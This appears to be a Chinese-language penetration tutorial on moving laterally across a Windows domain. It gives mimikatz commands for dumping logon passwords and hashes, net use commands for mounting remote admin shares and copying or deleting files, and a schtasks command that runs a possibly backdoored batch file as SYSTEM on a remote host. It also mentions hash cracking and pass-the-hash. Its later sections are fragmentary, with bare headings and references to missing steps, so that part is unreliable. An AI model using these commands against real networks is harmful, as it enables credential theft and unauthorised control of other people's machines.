一、明文传递
在拿下一台内网主机后,通过本地信息搜集收集用户凭证等信息后,如何横向渗透拿下更多的主机?这里提供一条思路:在已知目标系统的用户明文密码的基础上,直接可以在远程主机上执行命令。获取到某域主机权限;mimikatz得到密码(明文、hash);用信息收集域用户的列表当作用户名字典;用密码明文当作密码字典;尝试连接;创建计划任务(at | schtasks);执行文件可为后门或相关命令。
mimikaze抓取windows用户名、密码
# mimikatz 查看windows密码
privilege::debug
sekurlsa::logonpasswords
net use # 显示当前IPC连接。net use管理网络共享连接,它允许用户连接到共享文件夹或打印机,并断开与这些资源的连接。
net use \\192.168.1.1\ipc$ "<password>" /user:<username> # 与工作组内的机器建立网络连接
net use \\192.168.1.1\ipc$ "<password>" /user:domain\<username> # 与域内的机器建立网络连接
dir \\192.168.1.1\c$\ # 查看192.168.1.1 C盘下的文件列表
copy \\192.168.1.1\c$\1.bat 1.bat # 将192.168.1.1 C盘下的1.bat复制到当前目录下,且文件名为1.bat
copy file.exe \\192.168.1.1\c$\file.exe # 将当前目录下的file.exe复制到192.168.1.1 C盘目录下的,且文件名为file.exe
del \\192.168.1.1\c$\1.msi # 删除192.168.1.1 C盘下的1.msi文件
net use \\192.168.1.1\c$ /delete # 删除IPC连接
net view 192.168.1.1 # 查看192.168.1.1的共享文件夹
建立IPC常见的错误代码
- 错误号5:拒绝访问,权限不够;
- 错误号51:无法找到网络路径(网络有问题);
- 错误号53:找不到网络路径(ip地址错误:目标主机未开机;目标主机lanmanserver服务未启动;目标主机防火墙设置过滤端口);
- 错误号67:找不到网络名(本地主机中lanmanstation服务未启动或者目标主机删除ipc$);
- 错误号1219:提供的凭据与已存在的凭据集冲突(已经建立了一个ipc$,可以删除再连);
- 错误号1326:用户名或密码错误;
- 错误号1792:试图登录,网络登录服务未启动(目标主机中NetLogon服务未启动);
- 错误号2242:该用户的密码已过期。
建立IP失败的原因:
- 目标系统不是NT或以上的操作系统;
- 对方没有打开IPC$共享;
- 对方未开启139、445端口,或者被防火墙屏蔽;
at主要用于windows server 2012以下版本,schtasks主要用于大于等于windows server 2012版本的环境。
schtasks /create /s 192.168.1.1 /ru "SYSTEM" /tn "test" /tr c:\1.bat /sc once /st 20:00
# schtasks:这是一个用于管理计划任务的命令行工具。
# /create:这是一个指示创建计划任务的参数。
# /s 192.168.1.1:远程主机192.168.1.1.
# /ru "SYSTEM":以system身份进行运行。
# /tn "test":这是指定要创建的任务的名称,这里将任务名称设置为 "test"。
# /tr c:\1.bat:这是指定要运行的任务的路径和文件名,这里是 "c:\1.bat"。
# /sc once:这是指定任务的计划安排,这里是一次性执行任务。
# /st 20:00:这是指定任务的开始时间,这里是在晚上 20:00 开始执行任务。
批量建立IPC连接
pyinstaller -F xxx.py # 生成可执行exe文件
二、hash传递
NTLM破解
在线破解网站:cmd5、ophcracck
离线破解工具:hashcat(windows)、john the ripper(linux)
impacket,基于at
,既支持明文传递,也支持hash传递。
这里要执行两次。
hash传递
hash传递思路
三、Procdump+mimikatz配合获取密码
procdump
需要管理员权限。